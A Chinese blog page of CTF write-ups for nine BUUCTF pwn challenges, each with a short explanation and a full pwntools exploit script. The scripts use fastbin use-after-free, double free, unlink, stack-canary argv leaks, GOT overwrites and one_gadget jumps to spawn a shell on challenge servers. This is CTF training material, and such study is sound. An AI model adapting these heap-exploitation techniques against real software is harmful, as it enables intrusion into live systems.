当前位置: 首页 > news >正文

buuctf-pwn write-ups (12)

文章目录

  • buu093-wustctf2020_easyfast
  • buu094-ciscn_2019_es_1
  • buu095-wdb2018_guess
  • buu096-gyctf_2020_some_thing_exceting
  • buu097-axb_2019_heap
  • buu098-oneshot_tjctf_2016
  • buu099-护网杯_2018_gettingstart
  • buu100-wustctf2020_number_game
  • buu101-zctf2016_note2

buu093-wustctf2020_easyfast

Ubuntu 16.04下的简单堆题,使用fastbin直接UAF,分配到关键位置,注意前面有一个0x50表示chunk的大小,如果这个值不存在,那么这里是无法分配chunk的。

from pwn import *
context.log_level = 'debug'# io = process('./pwn')
io = remote('node4.buuoj.cn', 28773)
elf = ELF('./pwn')sla = lambda x, y: io.sendlineafter(x, y)def add(size):sla(b'choice>\n', b'1')sla(b'size>\n', str(size).encode())def delete(index):sla(b'choice>\n', b'2')sla(b'index>\n', str(index).encode())def writein(index, content):sla(b'choice>\n', b'3')sla(b'index>\n', str(index).encode())time.sleep(0.1)io.send(content)add(0x40)
delete(0)
writein(0, p64(0x602080))
add(0x40)
add(0x40)
writein(2, p64(0))
sla(b'choice>\n', b'4')
io.interactive()

buu094-ciscn_2019_es_1

这道题虽然说的是“hate libc 2.29”,但实际上最后发现用的还是glibc 2.27-3ubuntu1版本,也就是能够double free的版本。本题想要获取libc地址很简单,因为free之后地址还在,只要add一个大于0x400的chunk,释放后再show一下即可获取。然后double free一个小chunk,以将chunk分配到__free_hook。

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'# io = process('./ciscn_2019_es_1')
io = remote('node4.buuoj.cn', 28589)sla = lambda x, y: io.sendlineafter(x, y)def add(size, name, phone):sla(b'choice:', b'1')sla(b'Please input the size of compary\'s name\n', str(size).encode())sla(b'please input name:\n', name)sla(b'please input compary call:\n', phone)def delete(idx):sla(b'choice:', b'3')sla(b'Please input the index:\n', str(idx).encode())def show(idx):sla(b'choice:', b'2')sla(b'Please input the index:\n', str(idx).encode())add(0x440, b'a', b'a')
add(0x440, b'a', b'a')
add(0x50, b'/bin/sh\x00', b'a')
delete(0)
show(0)
io.recvuntil(b'name:\n')
main_arena = u64(io.recv(6) + b'\x00\x00') - 96
__malloc_hook = main_arena - 0x10
log.info('__malloc_hook: ' + hex(__malloc_hook))
libc = LibcSearcher('__malloc_hook', __malloc_hook)
base = __malloc_hook - libc.dump('__malloc_hook')
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
log.info('libc base: ' + hex(base))
log.info('system: ' + hex(system))
__free_hook = base + libc.dump('__free_hook')add(0x30, b'b', b'b')
add(0x30, b'b', b'b')
delete(3)
delete(3)add(0x30, p64(__free_hook), b'b')
add(0x30, b'b', b'b')
add(0x30, p64(system), b'b')
delete(2)
io.interactive()

buu095-wdb2018_guess

这道题的解法需要使用glibc 2.23下的__stack_chk_fail函数。在2.23中,__stack_chk_fail的函数定义如下:

void
__attribute__ ((noreturn)) internal_function
__fortify_fail (const char *msg)
{/* The loop is added only to keep gcc happy.  */while (1)__libc_message (2, "*** %s ***: %s terminated\n",msg, __libc_argv[0] ?: "<unknown>");
}
libc_hidden_def (__fortify_fail)

这是函数__stack_chk_fail直接调用的函数,可以看到这里会打印出argv[0]的内容,这个值在调试过程中会保存到r13寄存器的位置。且一般在栈的顶部位置。这个地址与我们通过gets写入字符串的地址的偏移是固定的,因此第一次我们可以通过将这个值修改为got表地址,来获取到libc的加载地址;第二次我们将其修改为environ变量的值,这个变量位于libc中,保存着栈地址;在获取了栈地址之后,第三次我们就可以将其修改为flag的内容,然后就可以输出了。

from pwn import *
context.log_level = 'debug'# io = process('./GUESS')
io = remote('node4.buuoj.cn', 28148)
elf = ELF('./GUESS')
libc = ELF('./libc.so.6')io.sendlineafter(b'Please type your guessing flag\n', cyclic(0x128) + p64(elf.got['puts']))
io.recvuntil(b'*** stack smashing detected ***: ')
puts = u64(io.recv(6) + b'\x00\x00')
base = puts - libc.symbols['puts']
log.info('libc base: ' + hex(base))
environ = base + libc.symbols['environ']
log.info('environ: ' + hex(environ))io.sendlineafter(b'Please type your guessing flag\n', cyclic(0x128) + p64(environ))
io.recvuntil(b'*** stack smashing detected ***: ')
stack_addr = u64(io.recv(6) + b'\x00\x00')
flag_addr = stack_addr - 0x168
log.info('stack address: ' + hex(stack_addr))io.sendlineafter(b'Please type your guessing flag\n', cyclic(0x128) + p64(flag_addr))io.interactive()

buu096-gyctf_2020_some_thing_exceting

这道题做的时候大意了,做着做着给flag已经被读到内存这件事给忘了……

在flag已经读入内存的情况下,这道题是很简单的,就是一个基础的堆排布,让0x10的header分配到可以写的buffer里面,直接修改指针的值然后show就行了。

如果这道题没有flag在内存中,首先就应该通过上面的这种方法获取libc基址,然后使用fastbin attack,用一次double free分配到__malloc_hook,注意修改指针的值应该是__malloc_hook - 0x23,原因参见我的这篇文章:传送门

注意这里不能分配到__free_hook,因为fastbin分配之前会检查size字段,而__free_hook前面并不存在有效的size字段。然后将__malloc_hook改成one_gadget,可惜测试完发现4个one_gadget都不行,于是开始怀疑人生,然后突然就意识到flag在内存中本来就有……

下面的代码注释掉的部分就是不存在flag时的利用方式。

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'one_gadgets = [0x45216, 0x4526A, 0xF02A4, 0xF1147]# io = process('./pwn')
io = remote('node4.buuoj.cn', 27127)
elf = ELF('./pwn')sla = lambda x, y: io.sendlineafter(x, y)
sa = lambda x, y: io.sendafter(x, y)def add(basize, nasize, bacon, nacon):sla(b'> Now please tell me what you want to do :', b'1')sla(b'> ba\'s length : ', str(basize).encode())sa(b'> ba : ', bacon)sla(b'> na\'s length : ', str(nasize).encode())sa(b'> na : ', nacon)def delete(idx):sla(b'> Now please tell me what you want to do :', b'3')sla(b'> Banana ID : ', str(idx).encode())def show(idx):sla(b'> Now please tell me what you want to do :', b'4')sla(b'> SCP project ID : ', str(idx).encode())add(0x60, 0x60, b'a\n', b'a\n')		# 0
add(0x60, 0x60, b'a\n', b'a\n')		# 1
delete(0)
delete(1)
add(0x18, 0x18, p64(elf.got['puts']) + p64(0x6020A8), b'a')	# 2
show(0)'''
io.recvuntil(b'Banana\'s ba is ')
puts = u64(io.recv(6) + b'\x00\x00')
log.info('puts: ' + hex(puts))
libc = LibcSearcher('puts', puts)
base = puts - libc.dump('puts')
system = base + libc.dump('system')
__malloc_hook = base + libc.dump('__malloc_hook')
''''''
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
base = puts - libc.symbols['puts']
system = base + libc.symbols['system']
__malloc_hook = base + libc.symbols['__malloc_hook']
''''''
io.recvuntil('Banana\'s na is ')
heap_addr = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
log.info('system: ' + hex(system))
log.info('heap addr: ' + hex(heap_addr))add(0x60, 0x60, b'a\n', b'a\n')		# 3
add(0x60, 0x60, b'a\n', b'a\n')		# 4
delete(3)
delete(4)
add(0x18, 0x18, p64(heap_addr + 0x10) + p64(heap_addr + 0x110), b'b')	# 5
add(0x60, 0x60, b'a\n', b'a\n')		# 6
delete(6)
delete(3)add(0x60, 0x60, b'a\n', p64(__malloc_hook - 0x23))	# 7
add(0x60, 0x60, b'a\n', b'a\n')	# 8
add(0x60, 0x50, b'b' * 19 + p64(one_gadgets[3]), b'/bin/sh\n')	# 9
# add(0x18, 0x18, b'a\n', p64(system))
# delete(7)
# gdb.attach(io, 'b *0x400C24')
# time.sleep(3)io.interactive()
'''

buu097-axb_2019_heap

这题的漏洞在于输入的时候会溢出1个字节,因此自然就可以想到使用unlink的方法来做。但这道题有一个很坑的点就是不能用LibcSearcher,虽然它能给你查到2个libc,但是无论你用哪个,远程都打不通,报错,但是用buuoj提供的64位的2.23 glibc就行,这个点坑了我好几个小时才发现。

from pwn import *
context.log_level = 'debug'# io = process('./pwn')
io = remote('node4.buuoj.cn', 29678)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')sla = lambda x, y: io.sendlineafter(x, y)
sa = lambda x, y: io.sendafter(x, y)def add(index, size, content):sla(b'>> ', b'1')sla(b'Enter the index you want to create (0-10):', str(index).encode())sla(b'Enter a size:', str(size).encode())sla(b'Enter the content: ', content)def delete(index):sla(b'>> ', b'2')sla(b'Enter an index:\n', str(index).encode())def edit(index, content):sla(b'>> ', b'4')sla(b'Enter an index:\n', str(index).encode())sla(b'Enter the content: \n', content)sla(b'Enter your name: ', b'%15$p%19$p')
io.recvuntil(b'0x')
__libc_start_main = int(io.recvuntil(b'0x', drop=True), 16) - 240
elf_addr = int(io.recvuntil(b'\n', drop=True), 16) - 0x116A
note_addr = elf_addr + 0x202060log.info('__libc_start_main: ' + hex(__libc_start_main))
log.info('elf base: ' + hex(elf_addr))libc_base = __libc_start_main - libc.symbols['__libc_start_main']
__free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']add(0, 0x98, b'a')
add(1, 0xA0, b'/bin/sh')
edit(0, p64(0x10) + p64(0x91) + p64(note_addr - 0x18) + p64(note_addr - 0x10) + cyclic(0x70) + p64(0x90) + b'\xB0')
delete(1)
edit(0, p64(0) * 3 + p64(__free_hook) + p64(0x38) + p64(note_addr + 0x18) + b'/bin/sh\x00')
edit(0, p64(system))
delete(1)
# gdb.attach(io)
# time.sleep(3)io.interactive()

buu098-oneshot_tjctf_2016

第一次输出got表地址,然后获取libc地址,跳转到one_gadget即可。

from pwn import *
context.log_level = 'debug'# io = process('./pwn')
io = remote('node4.buuoj.cn', 27336)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]sla = lambda x, y: io.sendlineafter(x, y)
sa = lambda x, y: io.sendafter(x, y)
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)sla(b'Read location?\n', str(elf.got['puts']).encode())
ru(b'Value: 0x')
libc_base = int(rud(b'\n'), 16) - libc.symbols['puts']
sla(b'Jump location?\n', str(one_gadgets[3] + libc_base).encode())io.interactive()

buu099-护网杯_2018_gettingstart

from pwn import *
context.log_level = 'debug'# io = process('./pwn')
io = remote('node4.buuoj.cn', 29278)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]sla = lambda x, y: io.sendlineafter(x, y)
sa = lambda x, y: io.sendafter(x, y)
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)sla(b'But Whether it starts depends on you.\n', cyclic(0x18) + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A))
io.interactive()

buu100-wustctf2020_number_game

计算机组成原理的知识……对于32位整数而言,只有0x80000000这个数(-2147483648)取相反数的值为2147483648,还是0x80000000,所以表示的数不变。输入这个数就行了。

buu101-zctf2016_note2

这道题提供了4个选项:增加、删除、修改、查看。其中修改能够提供2种选项——追加和覆写。修改部分的代码如下:

void __fastcall edit()
{char *v0; // rbxint v1; // [rsp+8h] [rbp-E8h]int v2; // [rsp+Ch] [rbp-E4h]char *src; // [rsp+10h] [rbp-E0h]__int64 size; // [rsp+18h] [rbp-D8h]char dest[128]; // [rsp+20h] [rbp-D0h] BYREFchar *tempbuf; // [rsp+A0h] [rbp-50h]unsigned __int64 v7; // [rsp+D8h] [rbp-18h]v7 = __readfsqword(0x28u);if ( put_limit ){puts("Input the id of the note:");v1 = input_int();if ( v1 >= 0 && v1 <= 3 ){src = ptr[v1];size = sizes[v1];if ( src ){puts("do you want to overwrite or append?[1.overwrite/2.append]");v2 = input_int();if ( v2 == 1 || v2 == 2 ){if ( v2 == 1 )dest[0] = 0;elsestrcpy(dest, src);tempbuf = (char *)malloc(0xA0uLL);strcpy(tempbuf, "TheNewContents:");printf(tempbuf);input(tempbuf + 15, 0x90LL, '\n');parse(tempbuf + 15);v0 = tempbuf;v0[size - strlen(dest) + 14] = 0;strncat(dest, tempbuf + 15, 0xFFFFFFFFFFFFFFFFLL);strcpy(src, dest);free(tempbuf);puts("Edit note success!");}else{puts("Error choice!");}}else{puts("note has been deleted");}}}else{puts("Please add a note!");}
}

注意其中的strncat函数,其第3个参数是字符串拼接之后的最大长度,虽然这里传的是最大的无符号整数,但是并不意味着这里可以溢出,因为前面还有一个v0[size - strlen(dest) + 14] = 0;将要追加的内容截断了,因此漏洞点不在这里。

经过测试发现,在glibc 2.23版本中,malloc(0)会创建一个大小为0x20的chunk,此时我们的重点就放在了输入的函数中:

unsigned __int64 __fastcall input(char *buffer, __int64 maxsize, char endchar)
{char buf; // [rsp+2Fh] [rbp-11h] BYREFunsigned __int64 i; // [rsp+30h] [rbp-10h]ssize_t v7; // [rsp+38h] [rbp-8h]for ( i = 0LL; maxsize - 1 > i; ++i ){v7 = read(0, &buf, 1uLL);if ( v7 <= 0 )exit(-1);if ( buf == endchar )break;buffer[i] = buf;}buffer[i] = 0;return i;
}

注意循环是for ( i = 0LL; maxsize - 1 > i; ++i ),查看汇编:

.text:0000000000400A28 loc_400A28:                             ; CODE XREF: input+1D↑j
.text:0000000000400A28                 mov     rax, [rbp+var_30]
.text:0000000000400A2C                 sub     rax, 1
.text:0000000000400A30                 cmp     rax, [rbp+var_10]
.text:0000000000400A34                 ja      short loc_4009DC

这里是ja指令,因此是无符号的比较,但如果传入的size为0的话,那么这里就相当于是溢出任意多个字节。

既然有这样一个漏洞,在2.23环境很容易想到unlink,毕竟本题elf没加PIE,我们知道堆地址是保存在什么地方的,因此unlink最方便。

我的做法是覆盖atoi的got表地址为system,然后在输出菜单之后直接输入/bin/sh即可。

from pwn import *
context.log_level = 'debug'# io = process('./pwn')
io = remote('node4.buuoj.cn', 28072)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]sla = lambda x, y: io.sendlineafter(x, y)
sa = lambda x, y: io.sendafter(x, y)
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
ita = lambda: io.interactive()def add(size, content):sla(b'option--->>', b'1')sla(b'Input the length of the note content:(less than 128)', str(size).encode())sa(b'Input the note content:', content)def show(idx):sla(b'option--->>', b'2')sla(b'Input the id of the note:', str(idx).encode())def edit(idx, option, content):sla(b'option--->>', b'3')sla(b'Input the id of the note:', str(idx).encode())sla(b'do you want to overwrite or append?[1.overwrite/2.append]', str(option).encode())sa(b'TheNewContents:', content)def delete(idx):sla(b'option--->>', b'4')sla(b'Input the id of the note:', str(idx).encode())sla(b'Input your name:', b'a')
sla(b'Input your address:', b'b')bufptr = 0x602120payload = p64(0x10) + p64(0x81)
payload += p64(bufptr + 8 - 0x18) + p64(bufptr + 8 - 0x10)add(0x0, b'a\n')
add(0x80, b'a\n')
add(0x80, b'a\n')
delete(0)
add(0, b'a' * 0x18 + p64(0x91) + payload.ljust(0x80, b'a') + p64(0x80) + p64(0x90) + b'\n')
delete(2)edit(1, 1, b'a' * 0x10 + p64(elf.got['atoi']) + p64(bufptr) + b'\n')
show(0)
ru(b'Content is ')
atoi = u64(io.recvuntil(b'\n', drop=True) + b'\x00\x00')
log.info("atoi = " + hex(atoi))
base = atoi - libc.symbols['atoi']
log.info("libc base = " + hex(base))
system = base + libc.symbols['system']
binsh = base + next(libc.search(b'/bin/sh'))
__free_hook = base + libc.symbols[b'__free_hook']edit(1, 1, p64(elf.got['atoi']) + p64(bufptr) + b'\n')edit(0, 1, p64(system) + b'\n')
sla(b'option--->>\n', b'/bin/sh')ita()

相关文章:

buuctf-pwn write-ups (12)

文章目录buu093-wustctf2020_easyfastbuu094-ciscn_2019_es_1buu095-wdb2018_guessbuu096-gyctf_2020_some_thing_excetingbuu097-axb_2019_heapbuu098-oneshot_tjctf_2016buu099-护网杯_2018_gettingstartbuu100-wustctf2020_number_gamebuu101-zctf2016_note2buu093-wustctf2…...

Linux- 系统随你玩之--网络上的黑客帝国

文章目录1、前言2、TCPDump介绍2.1、问题来了&#xff1a; 所有用户都可以采用该命令吗&#xff1f;2.2、抓包原理2.3、特点2.3.1、参数化支持2.2.2、 TCP功能3、 服务器安装Tcpdump3.1、安装3.2、检查安装是否正常。4、tcpdump 命令4.1、常用功能选项4.2、输出内容5、实操5.1、…...

Python每日一练(20230312)

目录 1. 提示用户输入的简单菜单 ★ 2. 字母异位词分组 ★★ 3. 俄罗斯套娃信封问题 ★★★ &#x1f31f; 每日一练刷题专栏 C/C 每日一练 ​专栏 Python 每日一练 专栏 1. 提示用户输入的简单菜单 如果用户选择菜单选项1&#xff0c;提示用户输入1到10之间的整数&a…...

人生又有几个四年

机缘 不知不觉&#xff0c;已经来 csdn 创作四周年啦~ 我是在刚工作不到一年的时候接触 csdn 的&#xff0c;当时在学习 node&#xff0c;对 node 的文件相关的几个 api 总是搞混&#xff0c;本来还想着在传统的纸质笔记本上记一下&#xff0c;但是想想我大学记了好久的笔记本…...

第九章:Java集合

第九章&#xff1a;Java集合 9.1&#xff1a;Java集合框架概述 数组、集合都是对多个数据进行存储(内存层面&#xff0c;不涉及持久化)操作的结构&#xff0c;简称Java容器。 数组存储多个数据方面的特点 一旦初始化以后&#xff0c;其长度就确定了。数组一旦定义好&#xff…...

嵌入式学习笔记——STM32的USART通信概述

文章目录前言常用通信协议分类及其特征介绍通信协议通信协议分类1.同步异步通信2.全双工/半双工/单工3.现场总线/板级总线4. 串行/并行通信5. 有线通信、无线通信STM32通信协议的配置方式使用通信协议控制器实现使用IO口模拟的方式实现STM32串口通信概述什么是串口通信STM32F40…...

MySQL性能优化

MySQL性能调优 存储数据类型优化 尽量避免使用 NULL尽量使用可以的最小数据类型。但也要确保没有低估需要存储的范围整型比字符串操作代价更低使用 MySQL 内建的数据类型&#xff08;比如date、time、datetime&#xff09;&#xff0c;比用字符串更快 基本数据类型 数字 整数…...

C语言/动态通讯录

本文使用了malloc、realloc、calloc等和内存开辟有关的函数。 文章目录 前言 二、头文件 三、主界面 四、通讯录功能函数 1.全代码 2.增加联系人 3.删除联系人 4.查找联系人 5.修改联系人 6.展示联系人 7.清空联系人 8.退出通讯录 总结 前言 为了使用通讯录时&#xff0c;可以…...

我用Compose做了一个地图轮子OmniMap

一、前言 半年前&#xff0c;我发布过一篇介绍&#xff1a;Compose里面如何使用地图&#xff0c;比如高德地图 的文章&#xff0c;原本是没有想造什么轮子的✍️ 闲来无事&#xff0c;有一天看到了评论区留言让我把源码地址分享出来&#xff0c;我感觉我太懒了&#xff0c;后来…...

STM32之SPI

SPISPI介绍SPI是串行外设接口(Serial Peripherallnterface)的缩写&#xff0c;是一种高速的&#xff0c;全双工&#xff0c;同步的通信总线&#xff0c;并且在芯片的管脚上只占用四根线&#xff0c;节约了芯片的管脚&#xff0c;同时为PCB的布局上节省空间&#xff0c;提供方便…...

02 深度学习环境搭建

1、查看对应版本关系 详细见&#xff1a;https://blog.csdn.net/qq_41946216/article/details/129476095?spm1001.2014.3001.5501此案例环境使用 CUDA 11.7、Pytouch1.12.1、Miniconda3_py38(含Python3.8) 2. 安装Anaconda 或 Miniconda 本案例重点一为Miniconda准 2.1 安…...

PHP导入大量CSV数据的方法分享

/** * @description 迭代器读取csv文件 * @param $strCsvPath * @return \Generator */ public static function readPathCsvFile($strCsvPath) { if ($handle = fopen($strCsvPath, r)) { while (!feof($handle)) { yield fgetcsv($handle); } …...

代码看不懂?ChatGPT 帮你解释,详细到爆!

偷个懒&#xff0c;用ChatGPT 帮我写段生物信息代码如果 ChatGPT 给出的的代码不太完善&#xff0c;如何请他一步步改好&#xff1f;网上看到一段代码&#xff0c;不知道是什么含义&#xff1f;输入 ChatGPT 帮我们解释下。生信宝典 1: 下面是一段 Linux 代码&#xff0c;请帮…...

【MyBatis】篇三.自定义映射resultMap和动态SQL

MyBatis整理 篇一.MyBatis环境搭建与增删改查 篇二.MyBatis查询与特殊SQL 篇三.自定义映射resultMap和动态SQL 篇四.MyBatis缓存和逆向工程 文章目录1、自定义映射P1:测试数据准备P2:字段和属性的映射关系P3:多对一的映射关系P4:一对多的映射关系2、动态SQL2.1 IF标签2.2 w…...

什么是API?(详细解说)

编程资料时经常会看到API这个名词&#xff0c;网上各种高大上的解释估计放倒了一批初学者。初学者看到下面这一段话可能就有点头痛了。 API&#xff08;Application Programming Interface,应用程序编程接口&#xff09;是一些预先定义的函数&#xff0c;目的是提供应用程序与开…...

比cat更好用的命令!

大家好&#xff0c;我是良许。 作为程序员&#xff0c;大家一定对 cat 这个命令不陌生。它主要的功能就是用来显示文本文件的具体内容。 但 cat 命令两个很重大的缺陷&#xff1a;1. 不能语法高亮输出&#xff1b;2. 文本太长的话无法翻页输出。正是这两个不足&#xff0c;使…...

MySQL、HBase、ElasticSearch三者对比

1、概念介绍 MySQL&#xff1a;关系型数据库&#xff0c;主要面向OLTP&#xff0c;支持事务&#xff0c;支持二级索引&#xff0c;支持sql&#xff0c;支持主从、Group Replication架构模型&#xff08;本文全部以Innodb为例&#xff0c;不涉及别的存储引擎&#xff09;。 HBas…...

Vue+ElementUI+Vuex购物车

最完整最能理解的Vuex版本的购物车购物车是最经典的小案例。Vuex代码&#xff1a;import Vue from vue import Vuex from vuex import $http from ../request/http Vue.use(Vuex)const store new Vuex.Store({state:{shopList:[],},mutations:{setShopCarList(state,payload)…...

Android 录屏 实现

https://lixiaogang03.github.io/2021/11/02/Android-%E5%BD%95%E5%B1%8F/ https://xie.infoq.cn/article/dd40cd5d753c896225063f696 视频地址&#xff1a; https://time.geekbang.org/dailylesson/detail/100056832 概述 在视频会议、线上课堂、游戏直播等场景下&#x…...

【CSAPP】家庭作业2.55~2.76

文章目录2.55*2.56*2.57*2.58**2.59**2.60**位级整数编码规则2.61**2.62***2.63***2.64*2.65****2.66***2.67**2.68**2.69***2.70**2.71*2.72**2.73**2.74**2.75***2.76*2.55* 问&#xff1a;在你能访问的不同的机器上&#xff0c;编译show_bytes.c并运行代码&#xff0c;确定…...

Python操作MySQL数据库详细案例

Python操作MySQL数据库详细案例一、前言二、数据准备三、建立数据库四、处理和上传数据五、下载数据六、完整项目数据和代码一、前言 本文通过案例讲解如何使用Python操作MySQL数据库。具体任务为&#xff1a;假设你已经了解MySQL和知识图谱标注工具Brat&#xff0c;将Brat标注…...

MicroBlaze系列教程(8):AXI_CAN的使用

文章目录 @[toc]CAN总线概述AXI_CAN简介MicroBlaze硬件配置常用函数使用示例波形实测参考资料工程下载本文是Xilinx MicroBlaze系列教程的第8篇文章。 CAN总线概述 **CAN(Controller Area Network)**是 ISO 国际标准化的串行通信协议,是由德国博世(BOSCH)公司在20世纪80年代…...

网络安全领域中八大类CISP证书

CISP​注册信息安全专业人员 注册信息安全专业人员&#xff08;Certified Information Security Professional&#xff09;&#xff0c;是经中国信息安全产品测评认证中心实施的国家认证&#xff0c;对信息安全人员执业资质的认可。该证书是面向信息安全企业、信息安全咨询服务…...

stm32学习笔记-5EXIT外部中断

5 EXIT外部中断 [toc] 注&#xff1a;笔记主要参考B站 江科大自化协 教学视频“STM32入门教程-2023持续更新中”。 注&#xff1a;工程及代码文件放在了本人的Github仓库。 5.1 STM32中断系统 图5-1 中断及中断嵌套示意图 中断 是指在主程序运行过程中&#xff0c;出现了特定…...

MySQL Workbench 图形化界面工具

Workbench 介绍 MySQL官方提供了一款免费的图形工具——MySQL Workbench&#xff0c;它是一款功能强大且易于使用的数据库设计、管理和开发工具&#xff0c;总之&#xff0c;MySQL Workbench是一款非常好用的MySQL图形工具&#xff0c;可以满足大多数MySQL用户的需求。 目录 W…...

雪花算法(SnowFlake)

简介现在的服务基本是分布式、微服务形式的&#xff0c;而且大数据量也导致分库分表的产生&#xff0c;对于水平分表就需要保证表中 id 的全局唯一性。对于 MySQL 而言&#xff0c;一个表中的主键 id 一般使用自增的方式&#xff0c;但是如果进行水平分表之后&#xff0c;多个表…...

Linux防火墙

一、Linux防火墙Linux的防火墙体系主要在网络层&#xff0c;针对TCP/IP数据包实施过滤和限制&#xff0c;属于典型的包过滤防火墙&#xff08;或称为网络层防火墙&#xff09;。Linux系统的防火墙体系基于内核编码实现&#xff0c;具有非常稳定的性能和极高的效率&#xff0c;因…...

网络安全系列-四十七: IP协议号大全

IP协议号列表 这是用在IPv4头部和IPv6头部的下一首部域的IP协议号列表。 十进制十六进制关键字协议引用00x00HOPOPTIPv6逐跳选项RFC 246010x01ICMP互联网控制消息协议(ICMP)RFC 79220x02IGMP...

HTTP协议格式以及Fiddler用法

目录 今日良言:焦虑和恐惧改变不了明天,唯一能做的就是把握今天 一、HTTP协议的基本格式 二、Fiddler的用法 1.Fidder的下载 2.Fidder的使用 今日良言:焦虑和恐惧改变不了明天,唯一能做的就是把握今天 一、HTTP协议的基本格式 先来介绍一下http协议: http 协议(全称为 &q…...

自动写代码?别闹了!

大家好&#xff0c;我是良许。 这几天&#xff0c;GitHub 上有个很火的插件在抖音刷屏了——Copilot。 这个神器有啥用呢&#xff1f;简单来讲&#xff0c;它就是一款由人工智能打造的编程辅助工具。 我们来看看它有啥用。 首先就是代码补全功能&#xff0c;你只要给出函数…...

新建网站解析域名/全球外贸采购网

目录 1.安装item2 2.安装brew 3.安装lrzsz 4.安装脚本到mac目录 4.1先下载脚本 4.2保存 iterm2-send-zmodem.sh 和 iterm2-recv-zmodem.sh 到mac的 /usr/local/bin/ 路径下 4.3添加脚本可执行权限: 5.在item2中配置 6.使用 7.可能遇到的问题 新版mac系统里没有/usr/…...

网站建设前期情况说明/seo在线短视频发布页

对类的注释&#xff0c;在开头进行注释说明&#xff0c;信息包括&#xff1a;作者、创建日期、用途、修改日期、修改人员对方法的注释&#xff0c;信息包括&#xff1a;功能、参数&#xff0c;以及返回值对代码片段的注释&#xff0c;主要为小块代码段作注释&#xff0c;简短描…...

网站在线备案/店铺运营

在状态模式(State Pattern)中&#xff0c;类的行为是基于它的状态改变的。这种类型的设计模式属于行为型模式。在状态模式中&#xff0c;我们创建表示各种状态的对象和一个行为随着状态对象改变而改变的 context 对象。介绍意图&#xff1a;允许对象在内部状态发生改变时改变它…...

李沧网站建设公司/seo排名诊断

点击↑↑技成培训 &#xff0c;关注并置顶即可长期免费订阅20万工控人关注的微信平台&#xff1a;技术分享、学习交流、工控视频当一个或者多个指令(程序)重复多次(次数可知)时&#xff0c;可使用FOR指令。FOR为有限次循环指令。如上图&#xff0c;程序的执行过程主要分为3个步…...

网站建设服务哪家便宜/湖南广告优化

把瞬间服务器的请求处理换成异步处理&#xff0c;缓解服务器的压力&#xff0c;实现数据顺序排列获取。本文主要和大家分享php和redis如何实现消息队列&#xff0c;希望能帮助到大家。 redis实现消息队列步骤如下&#xff1a; 1&#xff09;.redis函数rpush,lpop 2&#xff0…...

长沙优化网站排名/广告联盟怎么加入

页面间对象传递的方法 request&#xff0c;session&#xff0c;application&#xff0c;cookie 等转载于:https://www.cnblogs.com/zhaozhaozhang/p/5856750.html...